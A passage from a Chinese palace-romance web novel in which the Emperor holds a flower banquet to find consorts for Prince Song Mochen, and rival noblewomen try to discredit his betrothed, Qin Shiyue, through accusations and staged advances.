是不是,真的非要走到父子相残的那步,他才能收回属于他的皇权!? “……”江福德弓着腰,大气不敢出。 “还有秦时月,进宫多次,可有几次是来向朕请安的?有皇后和宋墨辰给她撑腰,她根本没把朕放在眼里!”皇上越说越气,大手一扫,桌上的奏折全被扫到了地上。 江福德和一众宫人被吓的立刻跪了一片,不断乞求他恕罪。 “起来吧。”皇上强忍怒意,头疼的捏了捏眉心。 江福德起来后,眼神给身边的小太监示意一下,小太监立刻带着其他宫人退了出去。 见状,他一脸谨慎的走到皇上跟前,低声提醒,“陛下,辰王似乎很看重明月县主……” “废话!用得着你提醒!?” 要不是忌惮自己动了秦时月会引起宋墨辰的反扑,秦时月会好好的活到现在!? “陛下,老奴有一个办法,能离间他们。” “哦?说来听听。” “景阳郡主为太后守灵已满百天,她为了辰王生生耽误成了老姑娘……” 此话一出,皇上眼前一亮,“对呀!朕怎么把她给忘了?” 就算她不能获得宋墨辰的喜爱,但只要将她送过去,怎么也能给他们添添堵! “陛下,不止景阳郡主,京中适龄女子众多,心悦殿下的也大有人在,若是能为辰王举办一场相看的宴会,想必能达到不错的效果。” “哈哈,好好好,江福德,倒是朕小瞧你了。”皇上龙心大悦,眼神阴暗,嘴角带笑,“为辰王充盈后院的事乃是皇室大事,此事必须由皇后亲自督办朕才放心。” “江福德,传朕口谕,命皇后挑选良辰吉日,尽早于宫中举办一场赏花宴,给辰王和众贵女相看的机会,切记,要邀请京中所有适龄的未婚女子参加。朕倒要看看,他面对众多美人,还能否一心只系秦时月一人!” 江福德面上带笑的低头领命,恭敬退下,转身便去传旨了。 …… 宋墨辰听完传旨太监的话后,眉头不自觉的皱了起来。 他那个好父皇还真是无所不用其极!他不傻,此举,不过是为了离间他和时月! 领旨后,他转头就往长乐侯府赶去。 他要提前跟秦时月解释一下,可不能让时月误会。 长乐侯府。 “小姐,江公公方才的话是什么意思呀?”小荷为秦时月梳妆打扮,忍不住问到。 秦时月看着铜镜中的自己,嘴角犯冷,“敲打。” “什么?太过分了,您是未来辰王妃,他怎么敢的?” “他是不敢,但咱们那位陛下敢呀。小荷,换那个。”秦时月指着首饰盒里一支碧玉簪子,道。 江福德此举,不过是宫中那位的意思,为得嘛,就是提醒她,宋墨辰身为皇子,此生绝不可能只有她一人,也在警告她,让她不要妒忌成性,轻举妄动。 “陛下怎么如此糊涂,这正妃还没进府,他竟然就要为辰王物色新人了……” “小荷,不得放肆。” 秦时月嘴上警告着,眼神却一片宠溺。 她会如此,不过是隔墙有耳,她不想小荷因为这种事被惩处。 小荷脸色一变,忙闭嘴。 就在此时,肖嬷嬷端着茶碗拧着眉走了进来,“小姐,侯爷让您去书房一趟,说是有话要说。” 秦时月冷哼一声起身,眸光潋滟,“走吧,咱们去见见我那个好父亲。” 书房。 长乐侯怀里坐着一个穿着清凉的娇俏女子,那女子含着一颗葡萄凑近,引诱着长乐侯用嘴接过。 长乐侯满眼欲色,大手不断在她身上游移,那女子被他摸的咯咯直笑。 “侯爷,大小姐到了!” 就在长乐侯低头狠狠含住女子的红唇时,门口突然响起一道不解风情的提醒。 女子撒个娇,极有眼力的起身站到了一旁。 长乐侯整理一下衣衫,清清嗓子才让人进来。 “父亲找我。”秦时月进门扫了女子一眼,神色淡然的坐下。 “侯爷,您与大小姐有事相商,青染便先退下了。” 说完,她福福身子,转身就走。 在经过秦时月面前时,两人视线交汇,里边闪过一丝深意。 “你像什么样子!?”青染离开后,长乐侯立刻不悦的瞪了秦时月一眼。 秦时月嘴角带笑,故作不解,“是时月哪里做错了吗?” “你目无尊长,还不是错!?”长乐侯冷哼一声,摆出一副高高在上的样子。 第202章 霸气护妻 当今陛下要为辰王选侧妃、妾室的事已经传遍京城,所有适龄女子都在争相往皇宫递帖子,秦时月该不会以为,她以后还是那个被辰王捧在手心的人吧? 要知道,男人都是善变的。 他一样,当今陛下一样,辰王,也不会是例外! 秦时月给自己倒了杯茶,轻抿一口,微微皱眉,“父亲有话直说吧,何苦拿这些小事浪费时间?” 说着,她放下了茶杯。 她当是被宋墨辰养刁了口味,这陈年老茶入口,真是倒人胃口。 “好,那我便说了。”长乐侯冷哼一声,“听说方才江公公来了,他过来,应该是知会你,过几日宫中要举办赏花宴的事吧?” “嗯。”秦时月百无聊赖。 看着她漫不经心的样子,长乐侯一阵窝火,想到什么,心情才稍微好些,“为父叫你来是要提醒你,男人三妻四妾再正常不过,赏花宴上无论发生什么事,你都不要做出有失分寸的事,否则……” “否则如何?”秦时月似笑非笑的挑眉,冰冷的眼神直勾勾盯着他。 长乐侯心中一惊,不知为何,被她盯着,竟然会觉得心中发毛。 “此事是陛下亲自下的旨,你要是敢做出有失分寸的事,我就,我就打死你个逆女!” “你要打死谁?” 秦时月还没开口,门口突然传来一道饱含怒意、隐忍又压抑的声音,下一秒,大门被砰的一声踹开,门外的人抬腿迈入。 “宋墨辰?”秦时月眼底闪过一丝喜色,心里却有些好奇。 他怎么来了? 宋墨辰阴沉着脸,几步走到秦时月身边,将她护在身后,目光如刀的瞪着长乐侯,“你好大的胆子,竟然敢威胁月月!” 长乐侯被宋墨辰的气势吓得一哆嗦,但想到这是自己的地盘,又吞口唾沫,强忍惧意,道:“辰王殿下怎么突然来了?” “我要不是突然过来,还不知道你竟然这样对待月月!”宋墨辰冷笑一声,“即便你是月月生父,我也不得不提醒你一句,月月是我护在掌心的人,谁要是敢动她分毫,我定让他付出惨痛的代价!” 秦时月心中一暖,眼里闪过一丝感动。 她伸手轻轻拉了拉他的衣角,小声说道:“别生气,我没事。” 她的好父亲想动她,也要看看他有没有那个本事。 之前的他就已经不能耐她何了,如今他沉溺于温柔乡,怕是根本没有察觉,他身边的所有人,都已经被换成了她的人。 宋墨辰反手握住她的手,然后转头看向她,眼中的怒火瞬间消散。 想不到长乐侯如此大胆,在明知道她是未来辰王妃的情况下还敢口出狂言,简直不可饶恕! 长乐侯看着两人旁若无人的互动,心中又气又恼,却又不敢再开口,毕竟,眼前的男人可是连当今陛下都不敢轻易得罪的存在。 宋墨辰拉着秦时月的手抬脚就走,走到门口时,突然停下脚步,回头冷冷地看向长乐侯,“今日之事本王记下了,若你日后敢做出对月月不利的事,本王定不会轻饶!” 说完,他带着秦时月大步走出书房。 两人来到侯府后花园,秦时月忍俊不禁,“你怎么知道我在书房?又怎么会突然闯进去?” “我刚到侯府,就听说你被叫到了书房,担心你会受委屈,便赶忙过来了。”说着,他抬手揉了揉她的脑袋。 他知道长乐侯不是她的对手,可即便她受一点点委屈,他也舍不得。 “至于宫中的赏花宴,你别多想,除了你,任何人都入不了我的眼。” 秦时月点点头,心里有些小雀跃。 自重生回来,她就摒弃了情爱,可听到他的话,她还是忍不住心跳加速,情绪被牵动起来。 可是…… “这次的赏花宴明显就是针对咱们而来的,若是你不选一两个,只怕陛下那边,不会善罢甘休。” “我也是这么想的。”宋墨辰一把将她抱进怀里,眸中闪过一丝寒光,“他既动了这个心,咱们要是不如他的愿,只怕日后也不会有安省的日子。” “那你是怎么想的呢?” “时月可信我?” “当然了。”秦时月不解的抬眸。 他们经历了这么多,她不信他还能信谁? “那,宴会上可能要让时月委屈些,毕竟要瞒过他,不是那么容易的。”宋墨辰紧紧搂着她的纤腰,生怕她不高兴。 秦时月在他怀里点点头。 有他的真心,她不觉得委屈。 三日后。 宫中张灯结彩,热闹非凡。 京中适龄的未婚女子个个精心打扮,怀揣着期待与忐忑,在宫人的引路下纷纷迈入后宫。 宋墨辰身为今日的主角,早早入宫,此时正身着华服,与皇后对弈。 “时月那边可安抚好了?”皇后眉头微皱,有些担心的问道。 她知道这件事委屈了时月,不过,男人三妻四妾是常事,更何况辰儿还是未来的君主。 皇上此举虽然做的不地道,但她却松了口气。 与其以后因为这种事生出事端,倒不如由皇上促成,至少,他们小两口,不会因此生出嫌隙。 “嗯,母后放心。”宋墨辰不知皇后心中所想,以为她单纯的担心秦时月,忍不住勾了勾嘴角。 另一边,秦时月今日穿了一套淡蓝色蜀锦长裙,头戴一支简单的白玉簪子,妆容淡雅。 明明不似其他女子那般精心打扮、服侍华贵,却自带一股清冷出尘的气质,无人能及。 她在小荷的陪同下缓缓走进宴会现场。 一路上,众贵女的目光不自觉地落在她身上,有羡慕、嫉妒,还有不屑。 “哼,你们看看她,怎么有脸过来的?还一副高高在上的样子,真以为辰王殿下非她不可吗?”一个穿着粉色罗裙的女子小声嘀咕道。 “就是,你们听说前段时间京中的传言了吗?不过是仗着辰王殿下的宠爱,嚣张跋扈!”另一个梳着双髻的女子附和道。 秦时月仿若未闻,神色平静地继续往前走,随后寻了个角落的位置坐下。 第203章 百花齐放 不一会儿,皇上皇后,宋墨辰驾到,众人纷纷行礼。 皇上在看到秦时月时,目光在她身上停留了一瞬,嘴角闪过一丝不易察觉的冷笑。 他就不信今日这个敢爱敢恨的明月县主能坐得住! 几人落座,宋墨辰跟皇上皇后示意一下,不顾众人视线,直接走到秦时月身旁落座。 看到这一幕,众人心思各异,但碍于宋墨辰的身份,没人敢说什么。 “你就这么过来,不怕陛下不高兴吗?”秦时月眉眼弯弯,借着给他倒酒的动作小声问到。 “他的目的很简单,只要我当场选出侧妃、侍妾,甚至是暖房丫头,他就能高兴。”宋墨辰不动声色的伸手握住她的小手,不轻不重的捏了捏。 秦时月小脸一红,挣扎一下没挣脱,干脆由着他去了,反正他们的小动作都被小几挡住了,外人也看不到。 “郡主……”赵景阳身边的丫头意外看到这一幕,立刻皱起了眉头,“这秦时月也太不要脸了,大庭广众竟然敢做出如此败坏名节的事。” 赵景阳端起面前的酒杯喝了一口,眸光闪过一丝寒意,“多嘴,退下。” 秦时月给她下毒,若不是她父亲找到了世外高人,足足调养了几个月,现如今怕是早成了一堆白骨。 她是对宋墨辰念念不忘,但如今太后姑母已死,又有秦时月这个危险在,一切,不能操之过急。 这时,宫女们开始穿梭于席间,为众人送上精美的点心和香醇的美酒,宴会正式开始。 皇上扫视一圈,目光落在那些精心打扮的贵女身上,清了清嗓子道:“辰王,今日这场赏花宴,乃是为朕和皇后专门为你办的。众卿家的千金皆才貌双全,京中众多才貌双全的女子都在此处,你可要好好相看相看。” 说罢,眼神有意无意地看向秦时月。 宋墨辰嘴角勾起一抹冷笑,心中暗忖:他还真是自己的好父亲,是一刻也看不得自己好啊! 起身谢恩,一坐下,他便转头看向秦时月,见她神色平静,这才心中稍安。 好在他先前跟时月解释过,即便一会儿真出现什么变故,时月应该也不会记到心里。 想到这,他松口气,端起酒杯自饮一杯。 秦时月确实没将今日的事放在眼里。 她是爱宋墨辰,可也知道,女子当自尊自强,不能将自己的一切都托付给男人和那虚无缥缈的情爱上。 所以此刻,她怀着一种她自己都说不上来的感觉,在看这场笑话。 目光扫过那些或羞涩或期待的贵女们,她笑弯了眉眼。 看来,她们是真的心悦宋墨辰,要不然也不会装扮的如此隆重。 还有赵景阳……多日不见,她的面色虽然不是太红润,但看得出来,她身上的毒已经解了。 就是不知道,她有没有将自己给她下毒的事告知她的家人…… 秦时月思绪飞远,就在这时,一个身着鹅黄色云锦襦裙的贵女率先起身,盈盈福礼后,转而看向宋墨辰,娇声道:“辰王殿下,臣女乃户部侍郎嫡女,胡倩倩,听闻殿下喜好诗词,民女不才,愿为殿下献上一首。” 她身段窈窕,眼波流转,眉眼带着一丝娇羞。 话落,红唇轻启,当众吟诵起来。 她对自己相当有自信,除却京中第一才女,她敢称第三,无人敢称第二。 而她也确实不负众望,声音婉转悠扬,惊才艳艳。 可宋墨辰面色不变,眼底甚至闪过一丝不耐。 不过,为了给皇帝留几分薄面,待女子吟诵完毕,他还是礼貌性地点点头。 “胡小姐才情出众,只是小姐怕是听错了,本王一介武夫,对诗词并无兴致。” 此言一出,底下顿时响起一道道轻笑。 那胡倩倩脸色一白,咬咬下唇,尴尬地退下。 她何尝不知宋墨辰不喜欢诗词歌赋,可她一介闺阁贵女,除了这些,也不懂其他。 本以为当着众人的面,他会给她几分面子,可现在看来,她是自作多情了…… 紧接着,又有几个贵女大胆展示才艺,还有羞涩向宋墨辰当众表白的,可宋墨辰不解风情,一一婉拒。 皇上看着这一幕,一杯又一杯的喝着闷酒,脸色逐渐阴沉下来。 这个不知好歹的逆子,他这拒人千里之外的样子,莫不是为了秦时月一人!? “臣女骁勇将军徐茂之女,徐莹莹。”徐莹莹直勾勾的看着宋墨辰,说到此处,脸颊绯红,“听闻殿下武艺高强,臣女虽为女子,却也自幼习武,愿与殿下切磋一二,还望殿下不吝赐教。” 说着,她从腰间抽出软鞭,眼神挑衅的看着他。 众人都被她这大胆的举动惊住,不少人交头接耳,面露惊讶之色。 秦时月眉头微拧。 徐莹莹…… 她们唯一的一次交集,还是上次她那个好祖母给她下套,徐莹莹站出来为她作证的时候。 过后,她想过抽时间谢上一谢,可始终找不到机会。 秦时月想着,饶有兴致地看着徐莹莹。 她倒是没想过,这样一个不甘拘泥于后宅的大方女子,竟也会放下身段跟别人共享一个夫婿。 宋墨辰微微皱眉,他着实不想与这些女子纠缠,但他方才的冷漠已经让陛下不悦,若是再不回应,不仅会让陛下更不悦,传出去,显得他小家子气不说,还会引起那些大臣的不满,对他来说,不是什么好事。 想到这,他从容起身,拱手道:“徐小姐巾帼不让须眉,只是本王怕万一失手,伤到徐小姐,于情于理,都不合适。” 徐莹莹攥着软鞭,扬声道:“殿下不必担心,臣女甘愿一试,若真伤到,也怨不得旁人。” 她自幼师承名师,对自己的本事那是相当自信。 今日的场景并不适合用剑,宋墨辰无奈,只得命侍书取软鞭来。 在与徐莹莹比划的时候,他并未使出全力,只是巧妙地化解她的招式,一来一往看似惊险,实则游刃有余。 一旁的皇上见状,眼神有些复杂。 第204章 赵景阳又找事? 宋墨辰愿意与其他女子亲近是好的,可徐莹莹的身家并不简单。 他本就忌惮宋墨辰的兵权,若是让他迎骁勇将军嫡女进门,那宋墨辰手中的兵权……将不可估量。 想到这,他不由自主的攥紧了龙椅的扶手。 几个回合下来,徐莹莹已气喘吁吁,可宋墨辰却面不改色。 至此,她算是知道了她与宋墨辰的差距,心中虽有些失落,但对宋墨辰的武艺更加钦佩。 她主动叫停收起软鞭,朝宋墨辰拱拱手,“殿下武艺精湛,臣女自愧不如。” 宋墨辰收起软鞭,脸不红气不喘,“徐小姐过谦了,徐小姐的武艺在女子中已属上乘,不必妄自菲薄。” 贵女们看着俩人有来有往,心中是既羡慕又懊恼。 早知习武能入辰王殿下的眼,她们就不该学诗词歌赋、女红那一套。 还有贵女不死心要表现,宋墨辰却看腻了,主动开口,“父皇,时辰不早了,不如先传膳。” 皇上皱皱眉,脸色有些难看。 他这是明摆着告诉众人,他一个都没看上? 不等他发怒,皇后赶忙打圆场道:“辰王说的是,本宫也有些饿了,来人,传膳。” 说完,还顾及着皇上的颜面,看着宋墨辰道:“辰儿,你也莫要太固执,今日的宴会是为了帮你挑选出合心意的,日后入府,也好帮衬着时月。” 偌大辰王府,总不能全靠给时月,那她也太辛苦了,更何况,时月总有怀孕的一天,与其到那时匆匆找个陪床丫头,不如现在寻个中意的。 宋墨辰心中明白,皇后这是在为他解围,可他心中只有秦时月一人。 略思考一下,他起身谢恩,“儿臣明白父皇、母后的良苦用心,只是今日这些贵女让儿臣挑花了眼,儿臣实在难以抉择。不如这样,儿臣回去细细考量后,再给父皇母后一个答复。” 皇上看了秦时月一眼,见她面带忧伤,心里舒爽不少,这才点头,“也好,你尽快给朕答复。朕好早做安排。” 说罢,他起身甩了一下袖子,“朕还有事处理,就不多待了,你们玩吧,不必拘谨。” 说完,在宫人的拥簇下,直接离场。 皇后眸光微闪,跟宋墨辰眼神示意一下,也退场了。 随着皇上和皇后的离去,原本紧张的气氛明显缓和了许多。 宋墨辰的话让那些贵女们心怀希望,但目前,也只能暂时收起心思,将心思放到享用美食上。 宫女们有条不紊地将一道道珍馐美味端上桌,秦时月看着满桌的佳肴没什么胃口,只是这美酒难得,让她忍不住多喝了几杯。 她入宫多,这些东西在皇后宫里算是家常便饭,所以她并不稀罕。 宋墨辰见状,不着痕迹地抓住她的手,阻止了她喝酒的动作,“再喝就醉了,你若想喝,出宫后我陪你。” 秦时月正要笑,坐在不远处的赵景阳突然起身,端着酒杯走了过来。 她脸上带着得体的微笑,眼神却透着一丝冷意。 她没死,接下来死的,就是秦时月! “辰王哥哥,景阳敬你一杯。” 宋墨辰眉头微皱,并不想理会她,秦时月则似笑非笑。 这赵景阳竟然还没死心,啧啧,看来,还是宋墨辰的魅力太大。 赵景阳被忽视也不恼,自顾自地将酒一饮而尽,而后轻声说道:“景阳先前中毒,养了几个月的病才将毒素清除干净,听到皇后举办赏花宴,立刻就来了。” 她话是对着宋墨辰说的,眼神却落在了秦时月身上。 秦时月面色不变:她这话明显就是冲自己来的,不过无所谓,时过境迁,谁能拿出证据? “中毒?堂堂景阳郡主竟然被人下毒?是何人这般放肆!?” “能靠近景阳郡主的身份必然不低,也不知郡主是不是查到下毒之人了。” “你们别说了,快看,我怎么感觉景阳郡主这次好像是冲着秦时月来的?” 听到周遭的叽喳声,宋墨辰脸色一沉,“你有话就直说,不必拐弯抹角!” 就算是时月下的毒又怎样?若不是她招惹时月,时月绝不会随意对人下毒手! 赵景阳咬了咬嘴唇,似是下了很大决心,转而看向秦时月,“辰王哥哥,是秦时月,是她对景阳下此毒手!” 说着,她眼眶泛红的朝秦时月质问:“秦时月,本郡主不知哪里得罪了你,你为何非要置本郡主于死地!?” 此言一出,周围顿时安静下来,纷纷投来震惊的目光,甚至抱着一丝看好戏的心态。 宋墨辰脸色阴沉,刚要开口,秦时月却淡笑着福福身子,抢先说道:“郡主这话从何说起?你说是我下毒?可有证据?” 这时,周围已经有人开始小声议论起来。 “竟然真的是秦时月,她怎么如此恶毒?” “看不出来啊,平时看着柔柔弱弱挺端庄的……” “就是,京中百姓还称她活菩萨,要我看,根本就是个活阎王!” “要不是郡主福大命大,此时怕不是已经魂归天外了。” “秦时月,你不解释一下吗?”听到周遭对秦时月的指责,赵景阳心里冷笑不已。 秦时月,胆敢对我下毒,你可想到了今日!? “解释什么?”秦时月歪着脑袋,好笑的看着她,“且不说我从未做过,即便我真做过,那也总该有个理由吧?那我请问郡主,我对你下此毒手的原因是什么?” “自然是……”赵景阳差点脱口说出当初自己一而再再而三的找茬的事。 她可以随意处置任何人,但这种事,却不能让外人知道,那样一来,她的名声受到影响,还有哪家好人家能接受她? “说不出来?那就是污蔑咯。”秦时月笑笑,故作醉状,轻轻靠到了宋墨辰身上,“王爷,臣女不胜酒力,也不讨郡主喜欢,这便先退下了。” 说着,伸手。 小荷立刻过去扶住她。 他如此孟浪的动作顿时让一众贵女红了脸,纷纷不齿她的行为,却又羡慕不已。 赵景阳的脸色更是难看,因为,宋墨辰不仅没有松手,反而扶住了秦时月的纤腰…… 第205章 你是什么东西! “秦时月,你莫要装醉逃避!”赵景阳见状,心中恼恨,忍不住大声说道。 秦时月抬眸,似真的喝醉了一般,眼神迷离道:“郡主这是何苦呢?没有证据就随意污蔑,传出去,对郡主的名声可不好,你想想杨太师呢?” 周围的人听到这话,不少人觉得有道理,毕竟空口无凭。 不过,她这话也让在场的杨雪莹捏紧了拳头。 她狠狠瞪着秦时月,恨不得眼神就能杀人。 宋墨辰冷冷地看着赵景阳,声音低沉,带着恐怖的压迫感,“郡主,今日的赏花宴是陛下举办的,本王不想在此时此地闹出不愉快。你若拿不出证据,就不要胡搅蛮缠,让开!” 赵景阳心中又气又急,她计划着借此机会让秦时月身败名裂,却没想到秦时月如此巧言令色,她的辰王哥哥如此袒护…… 看着僵持不下的局面,周围的贵女们都有些不知所措,这场赏花宴本是为宋墨辰选妃,却不想闹出了这出闹剧。 宋墨辰正要开口让人让开,杨雪莹突然站了出来。 “县主既然提到臣女的父亲,臣女就不得不站出来说两句了。” 所有人的目光转而落到了她身上,“臣女的父亲为官清廉,一心为公,这是满朝皆知的事。可就因为说了一些实话被县主嫉恨上,竟被冠上了一些莫须有的罪名!臣女倒是想问问,县主莫不是觉得,有辰王座靠山,就可以为所欲为了?” 杨雪莹微微仰头,目光得意地看着秦时月。 秦时月心中冷笑,这杨雪莹果然按捺不住了,平日里瞧她是个愚蠢的,没想到今日一看,果然是蠢的不能再蠢了。 她直起身,装着站不稳地晃了晃,“杨小姐,你说令尊是被我冠上莫须有罪名的,可据我所知,那些证据是言官上奏的。我一介女流,朝堂上的事可不是我说了算的。莫不是见郡主污蔑我不成,你也想来插上一脚?我可是何时惹到你了?” 秦时月似笑非笑,虽然一脸醉态,但条理清晰,瞬间逆转局势。 杨雪莹面色一僵,没想到秦时月反应如此之快,“县主莫要狡辩,我父亲的事,京中谁人不知!分明是你……” “我怎样?”秦时月打断她的话,“你父亲犯下的罪行,白纸黑字记录在案,岂是你能随意歪曲的?倒是你,口口声声说王爷是我的靠山,不是将王爷架在火盆上烤?让世人认为,王爷是个徇私枉法的人?杨小姐,你身为杨太师之女,说话可得谨慎些!” 杨雪莹心中一慌,她没想到秦时月竟然会拿她父亲威胁她。 而周围人听了,顿时开始交头接耳。 “县主说的在理,若县主真是传言中那般心狠手黑的,也不会在这样重要的场合被为难。” “就是,还敢拉踩王爷,不怕陛下追究!” “只有我觉得不对劲吗?这可是陛下、娘娘举办的宴会,郡主也就罢了,杨太师之女也跳出来指认,县主,真的冤枉吗?” 这时,胡倩倩眼睛一眯,站出来走到了赵景阳身边,“县主,您名声在外,臣女也略有耳闻,可今日之事……您若是不解释清楚,只怕不明就里的人还会乱传,到时候影响您的名声就不好了。” 她表面上在劝和,实则暗戳戳地将矛头又指向了秦时月,秦时月心里烦不胜数。 这些人一个接一个,真是没完没了了! 她们想看她出丑,想跟她玩,那她就陪她们好好玩玩! “解释?你以为你是个什么东西!?” 胡倩倩一愣,显然没想到秦时月敢当众给她难堪,脸色更是被她这话怼得一阵青一阵白,好不精彩。 她本以为自己站出来,不仅能在景阳郡主面前落个好,顺便再给秦时月添点堵,可她没想到,秦时月如此不好对付。 “县主,臣女只是好心提醒,您莫要……” “好心提醒?那我就来提醒提醒你。”秦时月冷冷勾唇,等的就是她这番话。 她父亲多年来收受贿赂,利用职权徇私舞弊,今日,她也该好好跟她说道说道了! “靖垣五年,你父亲在河道治理工程时贪墨工程款,导致工程质量严重不合格,下游百姓因此遭受水患,无数人家破人亡、流离失所。靖垣八年,你父亲在盐税一事上收受贿赂,导致官盐垄断,盐价高出正常价格数倍,百姓们怨声载道,无数小盐商不得不改行糊口。” “还有很多,而这些事,桩桩件件,都是你那好父亲做下的,你还有脸站在这里,大言不惭地说什么好心提醒?你也配?”秦时月嘴角带笑,眼神轻蔑,字字如刀。 胡倩倩虽然不知道父亲到底做过什么,但身为户部侍郎,他库房里的宝贝从来没少过,她也知道,有些钱,来路不正,只是,她一直心安理得的接受着。 如今被当场说出这么多内情,她的脸色瞬间惨白如纸,嘴唇颤抖。 “你……你血口喷人!我父亲向来清正廉洁,怎会做出这种事!” 秦时月眨眨眼,“血口喷人?这些都是王爷告诉我的,说是已经调查清楚不日就会上奏,你若不信,不如去问问你的好父亲,查查他当年经手的那些账目。” “县主说的有鼻子有眼的,难不成是真的?” “没想到胡大人竟是这种人,平日里看着道貌岸然的,没想到竟敢做出这等事……” “天啊,户部……真是个油水足的地方,真不知道她父亲利用职务之便捞了多少。” 废物! 赵景阳在心里暗骂一声,然后一把将胡倩倩拉到身后。 “秦时月,我知道辰王哥哥对你好,可你不该利用他,套取政事、要事啊。” 此话一出,众人骤然惊醒。 后宫不得干政,秦时月虽然有俸禄在身,但到底是女子,还是个未过门的闺中女子,她当众议论朝政,罪不容赦! 贵女们脸色发白,生怕自己被牵连进去。 秦时月又笑了,“你管这叫套取政事、要事?这不过是我与王爷间的小情调。” 第206章 京中才女? 说着,秦时月抬手捏捏眉心,柔弱无骨的歪倒在宋墨辰怀里,“王爷,臣女说的,可对?” 宋墨辰心中一紧,喉结不由自主的滚动一下。 这个小狐狸,故意当众勾引他! “王爷~”秦时月的尾音拖的长长的,眼尾带着三分醉意,七分娇嗔,那媚眼如丝的模样直往宋墨辰的心窝里钻。 他深吸一口气,强压下心底的躁动,抬眸冷冷扫向赵景阳,“你闹够了吗!?本王与县主普通交谈,何来套取一说?倒是你,连带着她们,今日屡次针对未来辰王妃,居心何在!?” 赵景阳被他这冰冷的眼神一扫,心中有些发慌,也有点委屈。 明明他们俩青梅竹马长大,为何他就是不肯多看她一眼?为何他总是为这个贱人出头!? 周围人听着几人针锋相对,大气都不敢出。 这赏花宴不是为辰王选适龄的女子的吗?怎么却成了这般局面,实在让人始料未及。 就在这时,一直未出声的陈婉清站了出来。 她是礼部尚书之女,向来以温婉大方著称,又生得一副娇柔的模样,说起话来也是轻声细语的,让人听了就觉得浑身舒畅。 “辰王殿下,几位姐姐,你们莫要再争执了,今日本是皇后娘娘为殿下举办的赏花宴,若因为一些误会闹得不愉快,传出去怕是要成为百姓间的笑料,岂不是辜负了娘娘的一番心意?” 陈婉清微微福身,脸上带着恰到好处的微笑,只是那双湿漉漉的大眼睛,总是时不时的落在宋墨辰的身上。 战神不愧是战神,无论是方才与徐莹莹往来时英气的身姿,还是此时以一敌百维护秦时月的样子,都让她心动不已。 而且,外人不知,她自幼便对宋墨辰倾慕已久,今日这场赏花宴,本就是她期盼已久的。 赵景阳狠狠瞪了陈婉清一眼,心想:这个时候她出来装什么好人!? 陈婉清像是没看到她的眼神,竟然直接走到秦司野身边挤开小荷,挽住了她的胳膊,“我看姐姐方才饮了不少酒,不如,我扶姐姐去休息休息吧。” 明眼人都能看出来,辰王对秦时月有明显的维护之心。 不论他对秦时月是什么心思,在这样的场合下,和秦时月打好关系,才是接近辰王的正确方式。 这群蠢货只会争风吃醋,丝毫看不懂男人。 这样也好,平白便宜了她…… 秦时月挑眉看了陈婉清一眼,眉眼含笑。 前世就听说这个礼部尚书之女是个聪慧的,可惜前世她死的早,未能领教,现在嘛……倒是有了机会。 就是不知道她接近自己,到底存了什么样的心思。 “那就多谢陈姑娘了。”秦时月嘴角噙着一抹淡淡的笑意,任由陈婉清扶着自己。 宋墨辰微微皱眉,有些不悦。 时月是他的王妃,现如今不仅男人惦记,就连女子都惦记上了,可恶! 赵景阳看着她们离去的背影,心中恨意更浓,跺了跺脚,转身便走。 胡倩倩和杨雪莹对视一眼,连忙跟了上去。 她们现在得罪了秦时月和辰王,若是不抱紧赵景阳这个大腿,往后怕是没好日子过。 另一边,陈婉清扶着秦时月来到了花园里的亭子里,一路上她都笑盈盈的,让人察觉不出她有别的心思。 “姐姐,这园子景色不错,不如咱们在这坐着吹吹风,你也好醒醒酒。” 秦时月挑挑眉,不动声色的抽出手,“好啊。” 这陈婉清倒是有趣。 为了她,不惜当众和郡主、太师嫡女、户部侍郎嫡女作对,若说她毫无心机,秦时月是万万不信的。 “姐姐,这里没有外人,妹妹想和姐姐说说心里话。”陈婉清不依不饶,伸手拉住了秦时月的手,“妹妹今日一见到姐姐就觉得和姐姐亲近,姐姐若是不嫌弃,以后妹妹经常去找姐姐玩,可好?” “亲近?呵呵,好呀。” 日子太无趣,有人陪她玩,也是挺好的。 “那就说定了,明日我便去府上找你玩。”陈婉清高兴不已,眼底闪过一丝志在必得。 …… 一周后,画舫上。 宋墨辰不悦的扫了眼陈婉清,随后哀怨的看了眼秦时月,不甘心的扭头看向别处。 这陈婉清太烦人了,听说这几日,日日守着时月,害他失去了许多与时月单独相处的机会! “姐姐,你尝尝这道酒酿丸子,这是我特意让小厨房做来给你消暑的。” 她笑语嫣然,将一碗精致的酒酿丸子递到秦时月面前。 秦时月笑着接过,轻抿一口,“嗯,味道不错,妹妹费心了。” “姐姐喜欢就好。”陈婉清眸光微闪,端着另一碗起身,绕到了宋墨辰面前,“殿下也请尝一口吧,这是臣女……啊~” 陈婉清脚下被裙摆绊了一下,直接跌进了宋墨辰的怀里。 她娇羞的垂下眸,眸低闪过一丝算计。 柔弱无骨的身子紧紧贴在他身上,藕臂勾在他的脖子上,一抬眸,水波流转。 她不似秦时月那般沉鱼落雁,但自有一股小家碧玉的清秀模样。 此时配上这样一幅清纯无辜的表情,最是勾人。 而且,女子最注重名节,他如今碰了她,一定会对她负责! 哦?打的竟是这个主意? 秦时月挑眉微笑,手指无规律的敲击在桌面上,眼底带着几分漫不经心。 她是爱宋墨辰,也决定和他共赴此生,笑看风云变幻。 但,她不是那些后院里争宠的闺阁小姐,男人三妻四妾,她可以容忍,只要别犯到她头上。 就在秦时月收回视线,重新将注意力落在酒酿丸子上时,宋墨辰突然抬手,猛的将挂在他身上的陈婉清一把推开。 陈婉清没防备,人一下子重重跌坐在画舫的地板上,梳篦整齐的发髻因为这个动作,散乱不少。 “放肆!”宋墨辰面色阴沉,狭长的墨眸里有恶心,有憎恶。 这女子处心积虑,若是让时月误会就不好了! 想到这,他忙扭头看向秦时月,除了看到一脸震惊,他竟没在她的脸上、眼里,看到其他情绪。 第207章 遭遇刺杀 皱皱眉,宋墨辰有些委屈,“时月,我不知道她会……” 秦时月见他这般紧张的模样,心中好笑,却故意一脸哀怨的逗他,“不知道?堂堂辰王殿下,竟连个弱女子都躲不开?你,你分明是有那个意思。” 宋墨辰一听,更是着急,连忙起身绕过来,着急解释,“时月,我真的是毫无防备,她突然就……我心里只有你,怎会……” 他一脸焦急与无辜,那模样竟像个做错事,乞求原谅的孩子。 陈婉清坐在地上,呆愣了的看着两人,脸色难看到了极点。 她精心策划的这一出,本以为能让宋墨辰对她负责,可没想到他不仅绝情地推开她,还上赶着对秦时月解释! 甚至,甚至说出了“心中只有你”这样形同承诺的话,简直可恶! 陈婉清不甘心的咬着下唇,眼眶泛红,一副楚楚可怜地说道:“殿下,臣女,臣女实在不是故意的,方才画舫不稳,脚下一滑才……还望殿下和姐姐恕罪。” 